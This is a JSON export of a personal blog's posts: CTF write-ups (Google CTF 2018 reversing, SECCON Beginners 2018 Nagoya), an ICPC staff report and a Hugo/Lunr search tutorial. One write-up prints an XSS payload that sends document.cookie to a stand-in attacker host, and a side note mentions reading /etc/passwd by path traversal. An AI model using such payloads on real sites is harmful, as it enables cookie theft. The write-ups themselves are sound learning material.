DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 182 0xB6 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV) 98155 0x17F6B Unix path: /usr/include/c++/7 $ mv _admin-ui2.extracted/B6 ./admin-ui2.elf /proc/self/exe is the running program, so use binwalk to extract the ELF file and remove any unnecessary strings like standard output.\n$ nm ./admin-ui2.elf | grep -i flag 0000000041414a40 r _ZL4FLAG 0000000041414a2c r _ZL9FLAG_FILE $ objdump -M intel -d ./admin-ui2.elf | grep -i flag | head 4141422b: 48 8d 3d 31 08 00 00 lea rdi,[rip+0x831] # 41414a63 \u0026lt;_ZL4FLAG+0x23\u0026gt; 4141429a: 48 8d 3d ca 07 00 00 lea rdi,[rip+0x7ca] # 41414a6b \u0026lt;_ZL4FLAG+0x2b\u0026gt; 414142ca: 48 8d 35 9d 07 00 00 lea rsi,[rip+0x79d] # 41414a6e \u0026lt;_ZL4FLAG+0x2e\u0026gt; ----- snip ----- The symbol _ZL4FLAG can be seen using nm or objdump, and since it looks suspicious, I\u0026rsquo;ll check its contents.\n$ gdb -batch -ex \u0026#39;x/s _ZL4FLAG\u0026#39; ./admin-ui2.elf 0x41414a40 \u0026lt;_ZL4FLAG\u0026gt;: \u0026#34;\\204\\223\\201\\274\\223\\260\\250\\230\\227\\246\\264\\224\\260\\250\\265\\203\\275\\230\\205\\242\\263\\263\\242\\265\\230\\263\\257\\363\\251\\230\\366\\230\\254\\370\\272/bin/sh\u0026#34; Decoding this string as-is results in an error. Since some kind of processing might be applied at runtime, I disassembled it to check. I used IDA for this.\nThis is the password processing section of ADMIN UI 2. As I\u0026rsquo;m not used to assembly, I added comments while reading through it. Here, I\u0026rsquo;m referring to loading a copy of an address as \u0026ldquo;loading\u0026rdquo; and copying a value as \u0026ldquo;copying\u0026rdquo;.\npassword= byte ptr -90h l= qword ptr -10h i= qword ptr -8 lea rax, [rbp+password] ; Load password input location into rax mov rsi, rax ; Copy rax to rsi. This becomes the 2nd argument for scanf lea rdi, a127s ; \u0026#34;%127s\u0026#34;, load \u0026#34;%127s\u0026#34; into rdi. This becomes the 1st argument for _scanf mov eax, 0 ; Copy 0 to eax. The return value of scanf will be stored here call _scanf lea rax, [rbp+password] ; Load password input location into rax mov rdi, rax ; s, copy the value of rax (=variable password) to rdi. This becomes the 1st argument for strlen call _strlen mov [rbp+l], rax ; Copy rax (=return value of strlen) to rbp+l mov [rbp+i], 0 ; Copy 0 to rbp+i loc_4141449F: mov rax, [rbp+i] ; Copy the value of rbp+i to rax cmp rax, [rbp+l] ; Compare rax with rbp+l (=length of the password variable value) jnb short loc_414144D6 ; If rax \u0026lt; rbp+l, proceed to the following code lea rdx, [rbp+password] ; Load password into rdx mov rax, [rbp+i] ; Copy the value of rbp+i to rax add rax, rdx ; Add the value of rdx (=password) to rax (=rax becomes the address of password[i]) movzx eax, byte ptr [rax] ; Copy 1 byte of rax into eax (=copy the value of password[i] into eax) xor eax, 0FFFFFFC7h ; XOR eax with 0FFFFFFC7h and copy the result to eax mov ecx, eax ; Copy the value of eax to ecx lea rdx, [rbp+password] ; Load password into rdx mov rax, [rbp+i] ; Copy the value of rbp+i to rax add rax, rdx ; Add the value of rdx to rax mov [rax], cl ; ? add [rbp+i], 1 ; Add 1 to rbp+i jmp short loc_4141449F In short, each value of the password is being XORed with 0xC7 as follows.\nscanf(\u0026#34;%127s\u0026#34;, password); l = strlen(password): for(i = 0; i \u0026lt; l; ++i) password[i] ^= 0xC7u; Perform the same process on the _ZL4FLAG value obtained earlier and try decoding it again to get the flag.\n$ cat decode.py password = \u0026#39;\u0026#39; for b in b\u0026#39;\\204\\223\\201\\274\\223\\260\\250\\230\\227\\246\\264\\224\\260\\250\\265\\203\\275\\230\\205\\242\\263\\263\\242\\265\\230\\263\\257\\363\\251\\230\\366\\230\\254\\370\\272/bin/sh\u0026#39;: password += chr(ord(b) ^ ord(b\u0026#39;\\xc7\u0026#39;)) print(password) $ python decode.py CTF{DUMMY_FLAG} Side note Initially, I used a Path Traversal Cheat Sheet8 to look for any other files that might provide a hint besides /etc/passwd, but I didn\u0026rsquo;t find anything.\nCOMファイル - Wikipedia\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDOSBox, an x86 emulator with DOS\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDownload Enhanced DEBUG (formally DOS Debug) 1.32\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner\u0026rsquo;s Quest - Floppy2 / Writeup\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n【Chrome】参照型変数を console.log/dir した時の挙動が怪しい｜もっこりJavaScript｜ANALOGIC（アナロジック）\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner\u0026rsquo;s Quest - Admin UI2 / Writeup\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n/proc/self/exe | asdfのネタ帳\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPath Traversal Cheat Sheet: Linux — GracefulSecurity\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/en/posts/google-ctf-2018-beginners-quest/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eThis article is for day 19 of the \u003ca href=\"https://adventar.org/calendars/3210\"\u003eCTF Advent Calendar 2018\u003c/a\u003e. Day 18 was mage_1868\u0026rsquo;s \u003ca href=\"https://gist.github.com/m---/262d66e0163d42030d9ce1c272e6f65e\"\u003eMortAl mage aGEnts write-up\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eAs a CTF beginner, I\u0026rsquo;ve been working through the \u003ca href=\"https://capturetheflag.withgoogle.com/#beginners/\"\u003eGoogle CTF 2018 Beginners Quest\u003c/a\u003e, and I\u0026rsquo;m putting together the write-ups I\u0026rsquo;ve been writing in my \u003ca href=\"/diary\"\u003eDiary\u003c/a\u003e. I haven\u0026rsquo;t finished them all yet, so I\u0026rsquo;ll add the rest as soon as I solve them.\u003c/p\u003e\n\u003cp\u003eI was planning to write about the tools I used as well, but since it would get too long, I\u0026rsquo;ll save that for another time. If you have any comments, please reach out on Twitter or Mastodon.\u003c/p\u003e","title":"Google CTF 2018 Beginners Quest Writeups"},{"content":" This article was machine-translated from the Japanese version.\nParticipated as a staff member on 8-9 December.\n8 December Met up at 9:00. Received my T-shirt and tag. We decided on our roles among the staff.\nThis year I was in the balloon team, blowing up balloons for the practice session. We prepared 60 balloons each for problems A to D, but about half were left over, which was a bit sad. However, since you can\u0026rsquo;t predict the difficulty beforehand—and if it\u0026rsquo;s too easy, everyone finishes them all in an instant—the preparation is necessary.\nI think I was carrying balloons during the practice. I don\u0026rsquo;t have much memory of it already.\nAfter the contestants left, we cleaned the desks and floors and set out the materials for day two. Dismissed around 18:00.\n9 December Met up at 8:00. Prepared the venue according to our roles from day one. I was helping set up the reception desk.\nWhile the contestants were entering, I monitored the cloakroom queue. There weren\u0026rsquo;t many people ignoring the DO NOT PASS signs, so I was quite bored.\nDuring the main event, I handed out balloons and printer paper and patrolled the venue. No major issues occurred.\nAfter the contestants left, we cleared up the venue at high speed. We had to hurry because we needed to finish the Closing Party setup before the contestants returned from the other venue. Once finished, I headed to the other venue to watch the Yes/No guy.\nHad some food at the Closing Party and was dismissed around 19:30.\nThoughts Glad there were no major problems. The venue wasn\u0026rsquo;t too big, which made getting around convenient. If you can\u0026rsquo;t speak concise Japanese on a daily basis, you can\u0026rsquo;t speak concise English. Making balloons is hard work. Don\u0026rsquo;t forget to bring your T-shirt and tag on the second day (I almost did). I\u0026rsquo;ll probably be there next year too. See you then.\n","permalink":"https://unigiri.gitlab.io/en/posts/icpc2018-asia-yokohama-regional/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eParticipated as a staff member on 8-9 December.\u003c/p\u003e\n\u003ch2 id=\"8-december\"\u003e8 December\u003c/h2\u003e\n\u003cp\u003eMet up at 9:00. Received my T-shirt and tag. We decided on our roles among the staff.\u003c/p\u003e\n\u003cp\u003eThis year I was in the balloon team, blowing up balloons for the practice session. We prepared 60 balloons each for problems A to D, but about half were left over, which was a bit sad. However, since you can\u0026rsquo;t predict the difficulty beforehand—and if it\u0026rsquo;s too easy, everyone finishes them all in an instant—the preparation is necessary.\u003c/p\u003e","title":"ICPC 2018 Asia Yokohama Regional Participation Report"},{"content":" This article was machine-translated from the Japanese version.\n7th place out of 60+N people. The problems have not been made public.\nCalc An HTML version of \u0026ldquo;Te-Keisan Extremes\u0026rdquo; from SECCON Beginners CTF 2018. However, there is no time limit for the answers.\nGet the mathematical expression and POST the result. Don\u0026rsquo;t forget to set the cookie for user identification.\nimport urllib.request import urllib.parse from bs4 import BeautifulSoup from http.cookiejar import CookieJar url = \u0026#34;http://10.2.6.1:8080/index.php\u0026#34; opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar())) res = opener.open(url) html = res.read().decode(\u0026#34;utf-8\u0026#34;) soup = BeautifulSoup(html, \u0026#34;html.parser\u0026#34;) exp = soup.find(\u0026#34;div\u0026#34;).text for _ in range(100): data = urllib.parse.urlencode({\u0026#39;answer\u0026#39;:eval(exp)}).encode(\u0026#39;utf-8\u0026#39;) res = opener.open(url, data) html = res.read().decode(\u0026#34;utf-8\u0026#34;) print(html) soup = BeautifulSoup(html, \u0026#34;html.parser\u0026#34;) exp = soup.find(\u0026#34;div\u0026#34;).text do alert Inject \u0026lt;script\u0026gt;alert(0)\u0026lt;/script\u0026gt; into the provided form and reload.\nAS Company There is a page where you can post an arbitrary title and text via a form, and a crawler visits the posted results. The FLAG is written in the crawler\u0026rsquo;s UA.\nSince you can inject scripts into the form, inject \u0026lt;script\u0026gt;document.location=\u0026quot;http://\u0026lt;attacker\u0026gt;?\u0026quot;+encodeURIComponent(document.cookie)\u0026lt;/script\u0026gt; into either the title or text, then check the crawler\u0026rsquo;s access logs.\nGo Fast Just do the calculations.\nprint(2**4085 % 97) Factoring Just factorising into primes\n$ factor 2240118421 2240118421: 43223 51827 Find it. You\u0026rsquo;re given an ELF file bin1. Use xxd to get the flag.\nxxd bin1 | grep -A1 ctf 0001060: 6374 6634 627b 666c 3467 5f6e 3037 5f31 ctf4b{dummy____ 0001070: 6e5f 6330 6433 5f35 3367 6d33 6e37 7d00 _________flag}. Read it. The FLAG is hard-coded in the genflag section.\n00000000004005eb \u0026lt;genflag\u0026gt;: 4005eb: 55 push rbp 4005ec: 48 89 e5 mov rbp,rsp 4005ef: 48 83 ec 50 sub rsp,0x50 4005f3: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005fa: 00 00 4005fc: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400600: 31 c0 xor eax,eax 400602: c6 45 c0 63 mov BYTE PTR [rbp-0x40],0x63 400606: c6 45 c1 74 mov BYTE PTR [rbp-0x3f],0x74 40060a: c6 45 c2 66 mov BYTE PTR [rbp-0x3e],0x66 40060e: c6 45 c3 34 mov BYTE PTR [rbp-0x3d],0x34 400612: c6 45 c4 62 mov BYTE PTR [rbp-0x3c],0x62 400616: c6 45 c5 7b mov BYTE PTR [rbp-0x3b],0x7b 40061a: c6 45 c6 63 mov BYTE PTR [rbp-0x3a],0x63 40061e: c6 45 c7 34 mov BYTE PTR [rbp-0x39],0x34 ----- snip ----- Disassemble It. You\u0026rsquo;re given an ELF file that asks for a password. Run it in gdb-peda.\n$ ./bin3 Password : invalid password Wrong.. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffe3e0 --\u0026gt; 0x64696c61766e69 (\u0026#39;invalid\u0026#39;) RBX: 0x0 RCX: 0x0 RDX: 0x1 RSI: 0x555555556016 --\u0026gt; 0x57004e4f43434553 (\u0026#39;SECCON\u0026#39;) RDI: 0x7fffffffe3e0 --\u0026gt; 0x64696c61766e69 (\u0026#39;invalid\u0026#39;) RBP: 0x7fffffffe4b0 --\u0026gt; 0x0 RSP: 0x7fffffffe3d0 --\u0026gt; 0xffffe400 RIP: 0x555555555211 (\u0026lt;main+136\u0026gt;: call 0x555555555060 \u0026lt;strcmp@plt\u0026gt;) R8 : 0x7ffff7dd5060 --\u0026gt; 0x7ffff7dd29e0 --\u0026gt; 0x7ffff7b96712 --\u0026gt; 0x2e2e00544d470043 (\u0026#39;C\u0026#39;) R9 : 0x7ffff7b81200 --\u0026gt; 0x2000200020002 R10: 0x0 R11: 0x246 R12: 0x555555555090 (\u0026lt;_start\u0026gt;: repz nop edx) R13: 0x7fffffffe590 --\u0026gt; 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555200 \u0026lt;main+119\u0026gt;: lea rax,[rbp-0xd0] 0x555555555207 \u0026lt;main+126\u0026gt;: lea rsi,[rip+0xe08] # 0x555555556016 0x55555555520e \u0026lt;main+133\u0026gt;: mov rdi,rax =\u0026gt; 0x555555555211 \u0026lt;main+136\u0026gt;: call 0x555555555060 \u0026lt;strcmp@plt\u0026gt; 0x555555555216 \u0026lt;main+141\u0026gt;: test eax,eax 0x555555555218 \u0026lt;main+143\u0026gt;: je 0x555555555235 \u0026lt;main+172\u0026gt; 0x55555555521a \u0026lt;main+145\u0026gt;: lea rdi,[rip+0xdfc] # 0x55555555601d 0x555555555221 \u0026lt;main+152\u0026gt;: mov eax,0x0 Guessed arguments: arg[0]: 0x7fffffffe3e0 --\u0026gt; 0x64696c61766e69 (\u0026#39;invalid\u0026#39;) arg[1]: 0x555555556016 --\u0026gt; 0x57004e4f43434553 (\u0026#39;SECCON\u0026#39;) [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe3d0 --\u0026gt; 0xffffe400 0008| 0x7fffffffe3d8 --\u0026gt; 0x2 0016| 0x7fffffffe3e0 --\u0026gt; 0x64696c61766e69 (\u0026#39;invalid\u0026#39;) 0024| 0x7fffffffe3e8 --\u0026gt; 0x0 0032| 0x7fffffffe3f0 --\u0026gt; 0x0 0040| 0x7fffffffe3f8 --\u0026gt; 0x0 0048| 0x7fffffffe400 --\u0026gt; 0x0 0056| 0x7fffffffe408 --\u0026gt; 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0000555555555211 in main () gdb-peda$ Since it\u0026rsquo;s comparing the input string with \u0026lsquo;SECCON\u0026rsquo;, I\u0026rsquo;d guess that this is the password.\n./bin3 Password : SECCON Okay, Process a one byte.. Password : SECCON Okay, Process a one byte.. Password : SECCON Okay, Process a one byte.. ----- snip ----- Since it kept asking for the same password, I piped in \u0026lsquo;SECCON\u0026rsquo; and got the flag.\necho \u0026#39;SECCON\u0026#39; | ./bin3 Password : Okay, Process a one byte.. Password : Okay, Process a one byte.. Password : Okay, Process a one byte.. Password : Okay, Process a one byte.. ----- snip ----- Password : Okay, Process a one byte.. DONE -\u0026gt; FLAG : ctf4b{DUMMY} ","permalink":"https://unigiri.gitlab.io/en/posts/seccon-beginners-2018-nagoya-ctf-writeups/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e7th place out of 60+N people. The problems have not been made public.\u003c/p\u003e\n\u003ch2 id=\"calc\"\u003eCalc\u003c/h2\u003e\n\u003cp\u003eAn HTML version of \u0026ldquo;Te-Keisan Extremes\u0026rdquo; from SECCON Beginners CTF 2018. However, there is no time limit for the answers.\u003c/p\u003e\n\u003cp\u003eGet the mathematical expression and POST the result. Don\u0026rsquo;t forget to set the cookie for user identification.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eurllib.request\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eurllib.parse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003ebs4\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003ehttp.cookiejar\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003eCookieJar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;http://10.2.6.1:8080/index.php\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eopener\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebuild_opener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eHTTPCookieProcessor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e()))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eopener\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eres\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esoup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;html.parser\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esoup\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;div\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003e_\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003edata\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eurllib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eurlencode\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;answer\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nb\"\u003eeval\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eexp\u003c/span\u003e\u003cspan class=\"p\"\u003e)})\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eopener\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ehtml\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eres\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esoup\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;html.parser\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eexp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esoup\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;div\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"do-alert\"\u003edo alert\u003c/h2\u003e\n\u003cp\u003eInject \u003ccode\u003e\u0026lt;script\u0026gt;alert(0)\u0026lt;/script\u0026gt;\u003c/code\u003e into the provided form and reload.\u003c/p\u003e","title":"SECCON Beginners 2018 Nagoya CTF Writeups"},{"content":" This article was machine-translated from the Japanese version.\nWhat is Hugo? Hugo is a static site generator framework built with Go.\nWhat is Lunr? Lunr is a text search engine built with JavaScript. It supports Japanese language search.1\nHow to set up the search function The following content is based on https://gist.github.com/sebz/efddfc8fdcb6b480f567 and https://gist.github.com/eddiewebb/735feb48f50f0ddd65ae5606a1cb41ae.\nFile structure The file structure after implementation is as follows. Only the parts related to the search function are listed.\nBLOG_DIR ├── layouts │ ├── _default │ │ └── index.json │ └── index.html └── static └── js ├── lunr.jp.js ├── lunr.js ├── lunr.multi.js ├── lunr.stemmer.support.js ├── search.js └── tinyseg.js 1. Setting up search data Set up the data that Lunr will load for searching. Here, the titles, tags, categories, main text, and hrefs of all articles are exported in JSON format.\nlayouts/_default/index.json {{- $.Scratch.Add \u0026#34;index\u0026#34; slice -}} {{- range .Site.RegularPages -}} {{- $.Scratch.Add \u0026#34;index\u0026#34; (dict \u0026#34;title\u0026#34; (or .Title (.Date.Format \u0026#34;2006/01/02\u0026#34;)) \u0026#34;tags\u0026#34; .Params.tags \u0026#34;categories\u0026#34; .Params.categories \u0026#34;contents\u0026#34; .Plain \u0026#34;href\u0026#34; .URL ) -}} {{- end -}} {{- $.Scratch.Get \u0026#34;index\u0026#34; | jsonify -}} The \u0026quot;title\u0026quot; (or .Title (.Date.Format \u0026quot;2006/01/02\u0026quot;)) on line 3 is a custom specification for our site; normally, \u0026quot;title\u0026quot; .Title is sufficient.\nRun hugo server -Dw to start the server and confirm that the target file is located at http://localhost:1313/index.json.\n2. Installing the Lunr source code Place the five files related to Lunr in static/js/.\nYou can find lunr.js at olivernn/lunr.js, while lunr.jp.js, lunr.multi.js, lunr.stemmer.support.js, and tinyseg.js are available at MihaiValentin/lunr-languages.\nAs an alternative to manual installation, you can use npm install lunr and npm install lunr-languages. Additionally, CDN data is available for lunr.js.2 This article assumes a manual installation.\n3. Installing the search script Create static/js/search.js to utilise the scripts installed in step 2.\nstatic/js/search.js var lunrIndex, $results, pagesIndex; function initLunr() { $.getJSON(\u0026#34;index.json\u0026#34;).done(function(index) { pagesIndex = index; lunrIndex = lunr(function() { var lunrConfig = this; lunrConfig.use(lunr.multiLanguage(\u0026#39;en\u0026#39;, \u0026#39;jp\u0026#39;)); lunrConfig.ref(\u0026#34;href\u0026#34;); lunrConfig.field(\u0026#34;title\u0026#34;, { boost: 10 }); lunrConfig.field(\u0026#34;contents\u0026#34;); pagesIndex.forEach(function(page) { lunrConfig.add(page); }); }); }) .fail(function(jqxhr, textStatus, error) { var err = textStatus + \u0026#34;, \u0026#34; + error; console.error(\u0026#34;Error getting Hugo index flie:\u0026#34;, err); }); } function search(){ $results = $(\u0026#34;#results\u0026#34;); $results.empty(); var query = document.getElementById(\u0026#39;search-query\u0026#39;).value; if (query.length \u0026lt; 2) { return; } renderResults(results(query)); } function results(query) { return lunrIndex.search(`*${query}*`).map(function(result) { return pagesIndex.filter(function(page) { return page.href === 